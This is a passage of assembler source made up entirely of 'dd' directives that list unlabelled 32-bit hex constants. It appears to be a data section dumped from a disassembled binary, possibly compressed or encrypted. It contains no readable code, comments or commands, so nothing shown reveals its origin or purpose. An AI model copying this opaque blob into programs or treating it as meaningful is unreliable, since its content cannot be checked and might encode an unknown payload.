dd 33A9EA2Dh, 69BA3B6h, 549E0826h, 0F480A003h, 6C680168h dd 81D92D47h, 0B123E0E1h, 2EEF0D01h, 4E1CF7CAh, 0C7F6C4h dd 5EAABE2Fh, 5115B4A0h, 792E1B2Ch, 0E8E26A00h, 39F666Fh dd 0EE7CFDFh, 0D4C03689h, 26004291h, 6C00BD8h, 23EA10h dd 4AF41FF6h, 440AFE22h, 1600387Fh, 0E5AFA37Fh, 3D765E4h dd 0F44705D3h, 0D6A8C453h, 96C1D414h, 0A5ABBB4h, 7BECC9CDh dd 6AD0069h, 8F1982F5h, 79031CF1h, 0EBB990ECh, 3865E068h dd 91C639A1h, 0B4072285h, 3B3FC05Fh, 18262987h, 3C22D1h dd 0AA3F9ECEh, 2E5CB7CAh, 1DA3A88Eh, 0E93C4059h, 19C8BA0Ch dd 1126D200h, 63B2FA0Ah, 0E2D40002h, 66358D8Bh, 7B1818E3h dd 0BDE8F2A2h, 4C88489Dh, 4041761Ch, 9E1666D0h, 0BC0084C8h dd 0C2983E26h, 731B94h, 4ED775ACh, 360FF638h, 20AAEC07h dd 795028B2h, 0CB1FA1h, 0A0536EC4h, 315DC369h, 0CE992900h dd 0C9E1AB59h, 0FBECFF50h, 45A6002Ch, 589A68A9h, 2300C536h dd 9001A5F5h, 0D69E94h, 30D779A8h, 0D4BAC237h, 43C3C400h dd 0E0F32156h, 0A5E43D31h, 0AA1BE800h, 0ED6FD14Fh, 8E39FD00h dd 0A2B515DBh, 579A00A4h, 9E811066h, 0A00AB2Eh, 0EBDABEA0h dd 3F479FCh, 390140F8h, 2CF089D7h, 9800E7E2h, 0AA05D64Dh dd 0F6736A6h, 6B0C94F8h, 0B2DA1880h, 600CF3Ah, 0D3551527h dd 879BA6h, 0FB2512F2h, 0EA0B4B75h, 0E8BF7900h, 32D9763Eh dd 4E191F15h, 0E1B9C0CEh, 5C895388h, 0D03FA901h, 837D1FC4h dd 5FF82A87h, 9FF770CCh, 0F10054FFh, 25B560Ah, 0E9BDA7h dd 0BF2C8BE5h, 3F5079F8h, 7F35F101h, 2029A848h, 3B68C9F8h dd 798066E8h, 43BC630Dh, 70E407ADh, 932CF3F0h, 803C859Eh dd 0D314BEFCh, 1DECE7BDh, 0C01CB0DCh, 0D789171Fh, 0B800780Ah dd 0BD6067B1h, 6736AA41h, 50E64003h, 0F6DACDFBh, 5E76D800h dd 833B40D9h, 7FDB2C44h, 0ABE300F1h, 7808A17Bh, 630592ECh dd 0B97201EAh, 0C349914h, 0A00331A0h, 0D7736h, 14DC0B73h dd 616B79F0h, 51640600h, 215C5276h, 0D7190024h, 0E9AC780Fh dd 8100BD3Dh, 473C7D4Bh, 0BBE089h, 0C7F1D6B3h, 0AADE6FD9h dd 4DA27900h, 0AC907680h, 30FD0065h, 295141DAh, 0E7FA04AFh dd 2B34CC01h, 8A776394h, 7E8D24E0h, 5CB7E06h, 1158B64Dh dd 0D4D90193h, 0A4FD4FC3h, 720038B6h, 0C7DCF58Fh, 1F76008Dh dd 744ED35Fh, 683814CDh, 0F3D20193h, 3189E3ACh, 4F2F4h dd 0EF5884B3h, 3ADA7322h, 9F49BB00h, 0AC5DA56Dh, 70B600CFh dd 0C4A8F2DEh, 0DD00D0DBh, 4D366489h, 0E867257Ah, 3C710172h dd 280E57C0h, 0D007D0F0h, 311E0C00h, 0FE8A5046h, 518000CAh dd 21E0DA36h, 81007695h, 7E65A13Ah, 1779FD7h, 0BAE40122h dd 0E7238204h, 0C10730AEh, 85736E92h, 7446CA20h, 0DC6D3D2Ch dd 55585900h, 0DB28CB88h, 93C1B48h, 7B49Bh, 0EDF1261Fh dd 5C731F94h, 592E80C9h, 77A48F06h, 62D9BA01h, 0F975F1FCh dd 3B0C96ECh, 8B8049BFh, 7012353Bh, 4D186259h, 365810E3h dd 232D01FAh, 5CBEBF67h, 91D0F795h, 3A032F3Fh, 4C26510Eh dd 0ECA8D864h, 508E00C8h, 2BCEB35Bh, 7D39C18Ah, 13DB12AEh dd 51022400h, 3C30A2DFh, 5700E97Ch, 0E0AA0FBFh, 0C00056FBh dd 0ECD0BA8h, 74A8816h, 10C31E9h, 0EA35B09Ch, 80F3A6E1h dd 0D893E848h, 8705BAh, 0D7FA1577h, 365560B2h, 0FC8DEA00h dd 0E7ECB69Fh, 6E5D0322h, 0BF1EADB5h, 497DC80h, 0CA85D31Ch dd 28756780h, 5EAE936h, 5CC8219Bh, 5E0EAAD7h, 60F240CBh dd 1C2D8130h, 40A285A8h, 10B5015Fh, 3E7E0DABh, 6E683600h dd 869CF576h, 0F720C0A4h, 2EB0357Fh, 0CB9D3F00h, 9F5B3925h dd 920E03C5h, 7F0F4DD5h, 0BC14E80h, 41F51507h, 0E087E2BAh dd 657E61D0h, 0C99D30B7h, 1644D571h, 102783Eh, 173418B9h dd 0A3DC3B31h, 0AC570239h, 0A2CF8C1Dh, 3D848C60h, 0D4F1890Fh dd 8AAB60AAh, 0EC886062h, 67C00096h, 0E26C0455h, 74067FD7h dd 0A7B438A6h, 0F7E868h, 7ED39E80h, 64D94F7Ah, 9BBE6A00h dd 90727755h, 8F433EE1h, 18A3FF80h, 2F1C1D07h, 80569C07h dd 50703C27h, 1E75D7Ch, 0FADBC3B7h, 85EA1DAFh, 3740AA60h dd 0BCF3C80h, 87510045h, 0F4E5EFC1h, 0DA005D63h, 92A2D839h dd 4C9FFh, 68B25CD2h, 5FE5B57h, 0ABCC7300h, 0EA525890h dd 38C3386Dh, 0C899EF83h, 580016F4h, 0DD2B8C9Dh, 3A2DBB46h dd 6B80AC53h, 164F84D0h, 36727D10h, 0B18E7000h, 0DA2B7C3Fh dd 1562071Bh, 60E61D64h, 0ABE1B831h, 54671600h, 0CB6FF0A3h dd 961A03FFh, 0FAA52CF1h, 0BC0020D6h, 8469DEF9h, 1E393345h dd 0C1DB1A24h, 0A6B8F707h, 2A57ECCCh, 20B03700h, 29E89316h dd 469A00C4h, 0C35C182Ch, 3C1E5551h, 7396E4DAh, 8C77E503h dd 0D71EB805h, 10B3001Ch, 2A54624Ch, 0AE00A599h, 5EB8B42h dd 7107722Ch, 0BA880182h, 54FD7FC2h, 36D8DCFCh, 264F220Ch dd 33E8A8EBh, 0B34020BDh dd 29435F0h, 0C94B560Ch, 8020F4h, 0DB7F0643h, 0B0A7D26Ah dd 4400EC70h, 420F0DEFh, 73D0FFh, 0ABC08548h, 0DC2D7112h dd 0F5006F7Bh, 0F070FAEAh, 34D922h, 6E733B72h, 991512BDh dd 0A99A560Ch, 60A53884h, 126912Dh, 1E009378h, 3B9D1F54h dd 0DEDF4237h, 0E1D661h, 9AB57D4Ch, 70792F5h, 0FD0E583Eh dd 20800F34h, 0D2CEA1h, 655706DBh, 0C1DEE191h, 7C4A0500h dd 0FA0BA46Eh, 3DD902EEh, 8682EBC3h, 64CAE1C0h, 18EC5E30h dd 73E43302h, 41603AAh, 0C421449Ch, 4EB81D90h, 0E002E5EAh dd 81BEBDD0h, 7001E06Eh, 693D1CC5h, 8F6D1E04h, 0DBA029A5h dd 7E0A39EDh, 5D58DD60h, 0F13A74h, 0B5C15B91h, 8A9DA98Ch dd 2AE87D00h, 80B7AB55h, 2DBA00DBh, 0E44DEF9Ah, 5403936Ch dd 0D07E4295h, 8B38C071h, 3DAF00F2h, 57B0EEA4h, 0D500F8CFh dd 0EDF46BA7h, 0EFF5DCh, 0A346B3B8h, 0CE13EB74h, 0AB176D18h dd 279429h, 76F7597Dh, 11473A58h, 71ECFE0h, 0B54044A3h dd 2D194BEAh, 6E9B0ECCh, 3E18264h, 0ECF273D8h, 0C00F891h dd 0AE939FB8h, 1BE586Ah, 3935E7D2h, 47A0C911h, 69C5A034h dd 0B700F4B2h, 0F57047F7h, 473EA65h, 24872A02h, 0DF5AC0CBh dd 90003316h, 0FB9247BCh, 36144Dh, 57E4EAFCh, 72527BD0h dd 7A3F1B00h, 79EC85D5h, 48A202BEh, 3EE9531h, 8A9B1E40h dd 0CC08B300h, 854937F0h, 0E0501FDh, 0E959FE4Fh, 0E1BCFD28h dd 0E6B4D853h, 6FDE6E03h, 0E03C50FDh, 14765AA5h, 20F8213Ah dd 0B083CCA0h, 0CF4E3F86h, 36D03300h, 8ABB471Dh, 506B2D30h dd 356A8CAh, 0F2804FB2h, 0D0971DBDh, 0B991FE4Ah, 0BE192900h dd 9BD9E60Eh, 94B80Fh, 3CD4EC37h, 3E7AF61h, 0BBBA7003h dd 0D8997EF7h, 3E21E4h, 10E0AB0Fh, 0D78880Ah, 0C2F79E00h dd 17D04A3Fh, 76422833h, 0CEF085h, 159D8961h, 7B5FA330h dd 0B5CC072Ch, 0A45BFF0Ah, 0C07E5780h, 50FE9F3h, 0A85C3353h dd 85D2001Ah, 502362CDh, 6E2DE500h, 7EA9BF79h, 10172A7h dd 0AA0EE19Bh, 0C029AD32h, 0DE7047E2h, 1807E57h, 391C7B45h dd 21A80A7h, 9473888Fh, 7C3FE076h, 0CF50C039h, 61AA5C46h dd 95471F00h, 0EBAE1211h, 0DFF40093h, 0DBB40AB9h, 8A00CE8Ch dd 4AF17E74h, 143EEC7Ah, 0A0A5D576h, 42D6F900h, 0DB0D2429h dd 9312DA00h, 9E23199h, 5B8F00E9h, 0DFB8E859h, 0C6783934h dd 195C4D00h, 0E50258B0h, 0BBAC1DAh, 873766A9h, 29061141h dd 0B63408C0h, 0AF823A54h, 64A80483h, 21B80C79h, 17F875B4h dd 0A2E76D00h, 37C25443h, 0DFFE1DEEh, 70683732h, 0A6A5B41Fh dd 0BFE6C006h, 0F2187D77h, 0D804AF24h, 0DA05527Ch, 76EA1035h dd 1C6CCF00h, 3E4823C1h, 1198F9F8h, 0DC13E8D7h, 28C0CC3Ch dd 4F0FB99Ah, 83CAACA7h, 0E5F5DDBDh, 53E13468h, 0A2050C5Ah dd 6053C87Bh, 0CFBC9704h, 0B89B10C3h, 1F7EB8E4h, 0F770610h dd 197D4FA7h, 1184DE76h, 8717E67h, 8A1E31C8h, 1D185EC3h dd 1B042168h, 5B45734Ah, 5F0C044Ch, 0D1E52025h, 533C4067h dd 9AE8B110h, 8520CB10h, 180A26B7h, 0EB880CADh, 7A084253h dd 43C73085h, 647BDC48h, 7F6F310Ch, 42CF61C3h, 196334CDh dd 33F62468h, 9719185Fh, 3104C08Bh, 0C8F3849h, 44ECB05h dd 2057CC48h, 0C5BB854Fh, 2950D31h, 0DAB47B0Ch, 42184C27h dd 0B49278BFh, 0C0302C2h, 483E87B3h, 22003D2h, 0E075B974h dd 0C0DB3518h, 0E371B419h, 7CF87615h, 0EC7A63Eh, 9FECB7DCh dd 208AB189h, 49282000h, 9D520063h, 0CF78A612h, 0E41FD36Ch dd 0F54F2633h, 0D7A10032h, 72EB336h, 0DA5B27B4h, 81CB4492h dd 0D414061Ch, 0B0A07AABh, 0E25441ACh, 2D004FC8h, 3DCA097Fh dd 6DB939Eh, 42E177E9h, 0BB06046Eh, 790F1EB2h, 3AEAA1h dd 52B60926h, 50C87A8Ch, 2747FC18h, 5C132588h, 121E2110h dd 0E02BC179h, 83B9A8BFh, 0B19445C8h, 1CD8478Eh, 509B50C7h dd 0F9AC5E15h, 48B18760h, 0F038AD6h, 0BADA7F35h, 7BACCF20h dd 0A101FF78h, 0FC1AC379h, 5880231Bh, 2CAF56B3h, 6D00917Dh dd 0B0B26CFEh, 1401D9A1h, 0C83F7B39h, 8695A980h, 0A0637F5Bh dd 0A0FA8250h, 18D7F5D3h, 29150819h, 0F005E77Fh, 0F382CDBDh dd 0B2CC3407h, 0A0C8CBA3h, 0B0EAD375h, 0D2860E2Dh, 3C208A2Eh dd 0B7407B63h, 1E95C800h, 6220EA83h, 0B316075Dh, 60893565h dd 0F347C397h, 0B85CE030h, 5C9DF68h, 0FB4EE553h, 369C0060h dd 0AD9397CAh, 0E914C601h, 0B3F3C7C5h, 911834h, 0BA72AB69h dd 0E2865FD4h, 88802F69h, 4D04683Eh, 0E6826377h, 409460h dd 99578EE0h, 12EC0E19h, 56797879h, 0F5FE5800h, 17535A54h dd 2523A41h, 8754A6A4h, 0D2019278h, 0A080B61Eh, 76133A60h dd 6BE4C809h, 0B60A3A3h, 0D386C090h, 3F18C324h, 0E1E04CCEh dd 2103C7B0h, 54D157A9h, 0AAD014ADh, 206C80E2h, 96B84018h dd 5D1D52F8h, 0CF84BBEh, 29AC9226h, 96BB1EAAh, 8E84296Dh dd 84BC7E8Dh, 80A18AAEh, 0D094253Ch, 7097BF00h, 2B6214CAh dd 3CCB00E9h, 0FF7A6B74h, 98C436B6h, 0CC883E89h, 0FAD413B8h dd 154400F5h, 0BC61D579h, 382C1404h, 0A0870E2Eh, 2DD3BAA0h dd 788A0D1h, 4890A2h, 7E13A865h, 664B951Ch, 0E4845251h dd 140EB30Eh, 8382E9D0h, 0F0B79AADh, 630422h, 0DEFACBB1h dd 6B95AFBDh, 0B21ACF03h, 0C836CC79h, 0C1298Eh, 7F142426h dd 84594D75h, 36BCF250h, 0CDC21A00h, 3C60E0EEh, 94230E2Ch dd 79E1F913h, 24F74F54h, 0D5409F98h, 41CE0926h, 5889D84Dh dd 0F4A0802h, 0C24ECF00h, 0FF7067h, 0FAE61950h, 965E2E60h dd 752A6BFCh, 0AA06C83Ch, 176C65C6h, 60ADF6E9h, 0A831B0BFh dd 0BE2BF9D8h, 0A20130DAh, 1443D54Eh, 7707EB18h, 6C4CC874h dd 706C2039h, 3027D5E2h, 0E35612F3h, 0B008941h, 662FC81Ch dd 1DD14647h, 954DC20h, 9CACC1CDh, 23BAA70h, 0FC04BD16h dd 0DCC07F24h, 0B540E667h, 0C887CDh, 67773A1Fh, 0A5225E6Bh dd 66CBE48h, 0B74CB127h, 0BCBB0051h, 9495B6A0h, 0FE13ACFFh dd 246026C6h, 89EA4Fh, 8E777F0Eh, 5295B2AAh, 6BAE540Ch dd 0D4481Ch, 0F00A6F22h, 3B8B5945h, 5CC76404h, 8CCBD0E6h dd 6A30AB04h, 55EF009Dh, 0B2BBFF56h, 150AC0Ch, 3BA86C3Ah dd 537A1B03h, 33E82D48h, 1F00AE83h, 0E9CBEA0Fh, 19C9DA5h dd 0DE40A9ABh, 240294CFh, 0D90065C4h, 10483EBh, 76FB3B2h dd 0BAABAB4h, 4838EB20h, 8400B75Bh, 0B89F2D12h, 0B2279382h dd 0E0A20624h, 0F0FE3F3Ch, 18F03B12h, 430DA848h, 248A280Fh dd 0D3C4A7h, 0E03954FAh, 0AF0B4202h, 600D65CFh, 4F62E40h dd 4341ED10h, 0CC08909Fh, 210030AEh, 6CD612A4h, 160B7086h dd 3A9B72h, 0E4821584h, 56016048h, 66CCAD1Ch, 308355BCh dd 0E2E36979h, 0AE146871h, 92CB15Eh, 20601B70h, 0D1372F34h dd 15BEF6ECh, 0D0E7E834h, 0F1A88B00h, 9F09EDC5h, 0A5773276h dd 0A4D341C0h, 60382486h, 73BC11CBh, 0C846AB4Fh, 4CCBE608h dd 202F3240h, 1B790186h, 6F17AC30h, 55BFD029h, 748EA70Ch dd 2408Fh, 7A737BFFh, 2AEF680Dh, 0FE7538h, 4539ED0Bh, 4A57EFDh dd 0A073F140h, 4C6CD243h, 55872851h, 60B33231h, 95190112h dd 4D85DBF0h, 9364707Ch, 1D04C49h, 0B7D5FB5Dh, 40808ED3h dd 0F422E3C5h, 0CB3F0339h, 0DD678ADCh, 4F00E8CEh, 0D09BEF72h dd 16A300BEh, 0E3D75C83h, 6D097DE9h, 38646854h, 54CFFB20h dd 924DC8ABh dd 189F9078h, 0B19A2280h, 1D0E769Ch, 49BA604Ah, 6CFB022Ah dd 9F88403Fh, 40E20037h, 77B8B1Fh, 0B7061108h, 75EBECD5h dd 0BBF10051h, 96E377B1h, 0ED078A08h, 0E2CDBEFBh, 95AB0C80h dd 77AA0025h, 2BA1039Ch, 30A08B2Ch, 7462739Eh, 819FA788h dd 4B592048h, 1D8688F0h, 8045F9D6h, 4312E951h, 0A60F7135h dd 3275E454h, 0C9BC3000h, 88B9F3A3h, 0A1281F5Bh, 0A919E543h dd 950921A8h, 5BB2180h, 5E604742h, 2BC7E00Eh, 0F80980EDh dd 638B79F9h, 0A0972898h, 0D6F3100h, 8FC35BABh, 2334005Eh dd 396C7AFCh, 17265790h, 0A926BA94h, 0C0EFE30Ah, 0C70EAA26h dd 0D9088096h, 7194D11h, 41C06598h, 0B91C207Ch, 1DB00E97h dd 8B34DC17h, 867B7600h, 5D61C9F2h, 280044BAh, 2C36988Ch dd 0BC012575h, 0FD7E483Dh, 2081E131h, 0D4308C05h, 1307E45Ch dd 0DF6A5202h, 7661B45h, 17CC1027h, 55029E34h, 5D6E6401h dd 0A3876091h, 9FC500BFh, 6F1B3811h, 0F1C68EDFh, 4102BAh dd 0EA1F83B2h, 2405EED6h, 0F37D520Eh, 0CDE56038h, 482D0F64h dd 78656607h, 0EB11C0D3h, 0AC0008D1h, 2E5F0E3Ch, 1FB9A435h dd 0BBA884h, 0E2D00BE3h, 4600EB11h, 8DC9870Fh, 67C051h dd 0F4E84B89h, 882B35BBh, 7E707801h, 0C984CD98h, 1B17ECh dd 190C3D1h, 442A4F10h, 3311961Fh, 0A8A59EC0h, 22031Ah dd 0D988657h, 0CE2AB6F0h, 4E93F01h, 0D12E0FF7h, 0C3C0C4FDh dd 0EF543EADh, 30531F01h, 4042D3FEh, 7C3245ECh, 6FAB0126h dd 6851FF00h, 0E0A2F159h, 5B1F00E8h, 0F8194E78h, 88010C2Ch dd 0B542BF3h, 60CAC2B7h, 0B246D4h, 0FF838D9Ch, 0D3E6EAE2h dd 0E4840900h, 0A261DE91h, 55DD07B0h, 208FA318h, 0D7170143h dd 0FD243600h, 869A3A13h, 392F0059h, 9CF98A9Dh, 4300D1EFh dd 2774E791h, 3C0F23E9h, 5F800414h, 13D74D2Fh, 410763DCh dd 0FDD5325Dh, 90FAC293h, 422848h, 2F4773Ch, 907B5F35h dd 0D696BC00h, 9854A9EBh, 716400AFh, 3B78FA87h, 0A00019E2h dd 0F62EDE5h, 30030435h, 5750AA39h, 0A70069EAh, 511D5F3Fh dd 76FCF9h, 9210230h, 1EEF0B78h, 0B2CAFB00h, 28BF96C0h dd 41C205FFh, 0C35FFAA9h, 4098061Fh, 8DFF711h, 70BF8001h dd 0EBCCF555h, 86710014h, 0C297EA65h, 181B947Dh, 0A839BD3Dh dd 0F0B80A5h, 42454627h, 75C69E0h, 600066AFh, 64A3A0B3h dd 0B7C93Ch, 1B012031h, 50EE0274h, 88177D37h, 0E668B8C0h dd 61578AAh, 2AF935EAh, 1000308Ch, 65799F87h, 30B0FB2Bh dd 0FE78DDA5h, 480F314Fh, 622753h, 7950D63Bh, 0CAA31D38h dd 0F2113015h, 87FE0BA6h, 93007C78h, 70FB22DFh, 0E034E9F8h dd 202652BAh, 2C81EE07h, 76AF4078h, 0D0006B7Ah, 0D5DF408Fh dd 9851118h, 3BDA2B44h, 0E366EF80h, 80762AAAh, 5D2028C0h dd 0B89DBB88h, 0DE08CA9Ah, 8157601Ch, 0EF5288ECh, 0C406030h dd 74607D61h, 35D150Dh, 0A19F38D4h, 0C463204Fh, 8799D84h dd 0DF30C503h, 44E73C58h, 0D93B80C0h, 684FAB8Fh, 0E9028884h dd 0A028814Ch, 8694BF00h, 0B854A4BDh, 3A4A0ADDh, 0CC50F0C7h dd 0D023FC68h, 6D1838C3h, 0D5ED4095h, 713068ADh, 15A9ADE0h dd 64453D86h, 0EF8B5CC2h, 2B684030h, 80186122h, 0E9B2F283h dd 0CCA0D24Dh, 0C72B33D7h, 0EF0344D0h, 0B835A802h, 8981C8A1h dd 0F08AC880h, 0DC58B00Eh, 0B082AAE7h, 0C727C285h, 70BFB42Dh dd 68D7F814h, 0D00A6087h, 0DE79D0F0h, 2510E718h, 34B2B048h dd 7210C732h, 0CA195048h, 802FC000h, 6B67F071h, 7CF19DF0h dd 10CDDD76h, 0D904A0E3h, 805D38BBh, 6250CEA9h, 513C922h dd 0A29EA059h, 88A02D89h, 0EE805888h, 8C350Ah, 767E6610h dd 0CE008D3Dh, 2D7490E7h, 3C41BD61h, 0DD1DF54Bh, 46100051h dd 6B9D766Dh, 1E200C63h, 0DCC02411h, 541D1428h, 336C82A0h dd 43E0198Ch, 8A427874h, 84597008h, 60EC1D0Eh, 1505D76h dd 0E128F8C5h, 29EAB043h, 0C2F8BD60h, 6C989678h, 6776C640h dd 0A9D21000h, 0CBB830F2h, 0BB7037E7h, 16FAC208h, 0B037CC47h dd 20706FE4h, 84A15D9Fh, 4AF857DEh, 77E0E144h, 50801847h dd 5D0A0F1h, 0A8C9B030h, 94902DDCh, 823839C2h, 41755660h dd 184DD504h, 50C151D0h, 28D08FDh, 1E63C9CAh, 0B7E058D8h dd 54996125h, 0AD3A160h, 28886089h, 0EEB49B40h, 9F60A091h dd 0FD98E1C4h, 5A202880h, 40F0F54Fh, 90CA4E14h, 0DADA0F0h dd 4E71296h, 0D63006B4h, 857EF05Fh, 3C185CE9h, 8B4BEE0Ch dd 126060FAh, 2CF5C520h, 0A10E6370h, 0C34EFE54h, 52C2C058h dd 7DC5B058h, 42BAC496h, 0D3E3A080h, 0B2043C94h, 8BC7063Ah dd 0D0EF011Ch, 0A41CB0F5h, 0AB588080h, 7EB43073h, 0F4DFE031h dd 0FB30E409h, 26DC00FEh, 3A50F3AFh, 605795CCh, 0C29FB301h dd 40DB9892h, 0E40D10B8h, 0D505707Fh, 1379F0CAh, 192BA801h dd 0D82250F5h, 15DD5D80h, 0C4A8F188h, 94A7B36Fh, 0B12C4003h dd 1828C6CEh, 0D0B23780h, 18A5BD93h, 3DC5BB0Fh, 6006F790h dd 90E409A0h, 10140874h, 0E0A0EDBBh, 0F2DC262Ch, 0C0F4A023h dd 0CA640213h, 0F0FB9750h, 3A420216h, 0C99DE40Ch, 62CFCC81h dd 0C19C22CAh, 7601A3D9h, 302929B8h, 0A14A8110h, 84D445h dd 0A3F849E0h, 0CAEA91DCh, 0A2D60E0Bh, 0B77F8563h, 0D8CBBC0Ah dd 5E607429h, 202FECE0h, 6315C873h, 0C150E4F5h, 41E2A726h dd 802805C7h, 70F5BC73h, 0C6B18C28h, 60C9F963h, 90EEA0A1h dd 766B050Eh, 6A7E91Dh, 8A4A8F4h, 3ED16F20h, 3C574A23h dd 2A0CD239h, 0C05086BEh, 0F2A33507h, 0F05A2410h, 0D0405018h dd 0CA540560h, 384A2A70h, 310AEEF8h, 0C4928AB7h, 0F2929C9Ch dd 581CA42Ch, 296E0127h, 84D9FD00h, 0D3527C5Dh, 0B4E58050h dd 0A0EA68DCh, 486DE0B4h, 96131C88h, 7E7438BFh, 1B0DA400h dd 2C86B7DFh, 40F40789h, 40F3B5F7h, 58299BD7h, 1416771Fh dd 0FA36BC40h, 4EF759h, 9C7CE951h, 7DCFDBBh, 0D733AB00h dd 5B46ACCAh, 153D01FFh, 3EBB1D96h, 86CEF49Bh, 0FECF4C00h dd 1A81758h, 0ACFC01DEh, 0E59CC95Fh, 1D7CE008h, 5C000D7Ch dd 974F8018h, 0EA2F12h, 0FB65901Ch, 0E952263Ch, 66B8BC1Eh dd 8377C1Ch, 0C0677083h, 9415Ch, 3FDB57A5h, 0D13277A6h dd 584810CFh, 0DC52FB0h, 64909CFDh, 0C0E50710h, 4248F0FCh dd 0DD155777h, 8164BCDBh, 0B1F8ABB0h, 4159EC11h, 0BA1CF790h dd 634107D0h, 1716774Fh, 644631E0h, 803C51A0h, 0E88B02B8h dd 146ECBBCh, 30C9DCE9h, 26E601C0h, 86FA0376h, 0D0380C3Dh dd 2A747FBCh, 0C417D701h, 54E47CD0h, 0F8D18C40h, 63C5E859h dd 70947867h, 0BE3ED7E0h, 613D1F03h, 0B9B7A56Dh, 84D35825h dd 0D79C79C1h, 0D833C4Ch, 9F64BF13h, 2092F9D8h, 6C611700h dd 2E569708h, 885F8840h, 7E3C28E8h, 0EA9C02B4h, 0CF97427Bh dd 51702898h, 62400676h, 20F648CCh, 94D0973Ah, 0D81C61D7h dd 2865B7h, 1C9664Ch, 4F736CFCh, 8C6F8257h, 2822C7C8h dd 0F708C203h, 1840D83Bh, 0F407125Fh, 0D0CE7B3Ch, 0DDEC3941h dd 108770F1h, 21F1591Ch, 448829D7h, 6D8C594h, 0D0F7195Ch dd 600DB931h, 17D00E24h, 2877881h, 59F205B7h, 0A481CF77h dd 20654637h, 8A66FF4Ch, 0F8589D48h, 0F42D3EEAh, 0D0E16902h dd 8C4360FCh, 838CFEA1h, 4F76A118h, 1F10A6F7h, 67441DCh dd 8813EE7Ch, 58FD2E01h, 0D0DFB057h, 0A30E51E0h, 875BDAF4h dd 14487BE4h, 1714F0D6h dd 57398886h, 9E9718E2h, 703C9C40h, 37183490h, 5C400F8Eh dd 0E4B8C503h, 88006F9h, 0E6F6820h, 18201F08h, 30FCC637h dd 0A8CC5E76h, 33575890h, 0E4085D8Fh, 0F5377012h, 4BD2D05Ch dd 18C0000Ch, 810BEE17h, 0EF098964h, 5A7402CCh, 0D7D441F3h dd 48A00C34h, 0AD1D7853h, 85FC0089h, 0DDD149Ah, 0B9185063h dd 345CE154h, 0E87C8C20h, 2EA7810h, 57A624B3h, 0F4405DC5h dd 50CC588Eh, 48790986h, 0AD19F46Ch, 0F7F87833h, 0D95B1CE0h dd 0DCBD1F24h, 1F03350h, 0CF7C9FCCh, 20166C86h, 10547728h dd 249272F4h, 0FCE83260h, 3DDCE28Ah, 0F8EE427Ch, 5CF41700h dd 0EC901006h, 0B0F33128h, 0FC763E28h, 0E1E87351h, 21218A7Dh dd 8E12A40Fh, 49F73402h, 0AC304185h, 2A1070A4h, 2F9303DCh dd 26EADCDBh, 58214037h, 305007F6h, 10697CF7h, 0BC24C96Ah dd 0DC0A64D6h, 4898E454h, 90B11C10h, 0FCBC3134h, 205FC491h dd 0F4A3CB14h, 0F08368A2h, 91877B7h, 5C205A88h, 49349059h dd 6B197034h, 348B3016h, 362653Ch, 6F9BAB0h, 37123013h dd 0CC0927DFh, 177883CEh, 8D06C4A7h, 2E8605Ch, 731CDE01h dd 0B33CC960h, 646050A8h, 80FA5817h, 0B7BBBC1Ch, 0A097A53Ah dd 0E4E84C29h, 222FC12h, 5BE03C08h, 63DE0040h, 9865E2E9h dd 3A81C500h, 0ACD906Ch, 2BF78C86h, 0B0A1189Ch, 8748F6B7h dd 1C9F2930h, 4A36A382h, 2C786827h, 97C0A04Eh, 0A6400B89h dd 202E5D37h, 7CF00B80h, 20A4AD7Dh, 8F29710Eh, 4C78B860h dd 0C9C72B49h, 986D8134h, 9937A8h, 0E2C93EECh, 0AC884C7Ch dd 0F3D9570Ch, 0F4A02C08h, 1850AEB7h, 20FB62F0h, 18989644h dd 707A3C26h, 74E8263Ah, 50147391h, 7431E086h, 34499740h dd 0F54A474h, 20C50EFCh, 0D406091Bh, 2468FB0Ch, 1834F040h dd 0E037F8CAh, 443893FDh, 876A7844h, 4F04C04h, 540C29C5h dd 0A34DFC60h, 49B12278h, 3024580Ch, 0D0243A00h, 44AD9784h dd 874ABD18h, 78AA59A4h, 5677923Ch, 542C144Ch, 1885D718h dd 88984517h, 4C535738h, 15931074h, 6056B12h, 98FA0440h dd 0F7E02363h, 31C901AFh, 0CD3CDBBDh, 3EA4403Fh, 9C18DE03h dd 0EE48023Bh, 8190C41Eh, 0EFC8C32Eh, 0D931087Ch, 0E86C182Dh dd 1CF5FC21h, 0B20F1085h, 5E18C3DBh, 987DA826h, 0A049CB91h dd 73143374h, 78129798h, 7004EF9Ch, 6C81D8DCh, 0A7EF617Ch dd 8C047C5h, 7850541Ch, 2AFA31E9h, 346FA420h, 68985674h dd 17501B3Ah, 1C45D9DCh, 50C25335h, 0BC80EB93h, 0C4BACD3h dd 3B1D9C10h, 5E03B138h, 0C48F5CE9h, 37C2A1FDh, 0F5E7C0F3h dd 0B7DC24F1h, 0D2DF80A4h, 0A7191D1Fh, 2CB0A65Ch, 6A0EE49Ch dd 9B178075h, 21D11E5h, 3D14D08Fh, 0E08FDEA8h, 1C83314Eh dd 10123635h, 5404D253h, 881A14Fh, 45F2B142h, 0A8338198h dd 29373BEh, 1E4450Ch, 799A7819h, 0F97C71C6h, 0B71470EAh dd 51CFA5Ch, 0E8804F37h, 0C303C8CBh, 6D2F3C92h, 75CC3809h dd 49A80EF5h, 0E87C0584h, 5F428045h, 203FBC0Ah, 85E68760h dd 31E49258h, 0F770956Ch, 0DC1C30F2h, 33A87E02h, 6061DA97h dd 74FC2E08h, 460ACB7h, 89DBECEAh, 8CF48092h, 0C91AC81Dh dd 87C8D6DCh, 0BC72E7B0h, 0B70CE1D7h, 0A58AC072h, 264420A5h dd 2C0C842Ch, 0B8A05BACh, 6E62D46Bh, 0C0554CF0h, 988D97C8h dd 0B1772CC0h, 1F9397FCh, 67220C54h, 74908688h, 0D8A5BC26h dd 0FAE8F706h, 0CCAE4D28h, 8608D637h, 6F01899h, 17251498h dd 67CC00C2h, 2437A508h, 934C8D7h, 1C023FA1h, 0C8C05953h dd 50908118h, 1230AE48h, 0C481711Ch, 308A3A91h, 0BA06066h dd 0D01CDACBh, 5AEC4006h, 90D80E1Bh, 0F7C8C472h, 82CD27Dh dd 917758C0h, 372C50B0h, 0DC0B141Ch, 0C348AADh, 10E76258h dd 120187F0h, 0E049190Ch, 94940B31h, 34CA0480h, 44ADA5F9h dd 0E8856E10h, 0CC81828h, 38707A05h, 1F28CC28h, 0AE00A804h dd 0F8DCE90Dh, 0F87CFDBAh, 38DE48D8h, 4DFBDB0h, 0B983F110h dd 1290C628h, 380FE1BCh, 0B210562Ch, 78856CF1h, 0AAC805B7h dd 227C2864h, 9324F671h, 0E38224B5h, 14FCC9B0h, 8C2ED074h dd 4C8A88A7h, 170CFCCEh, 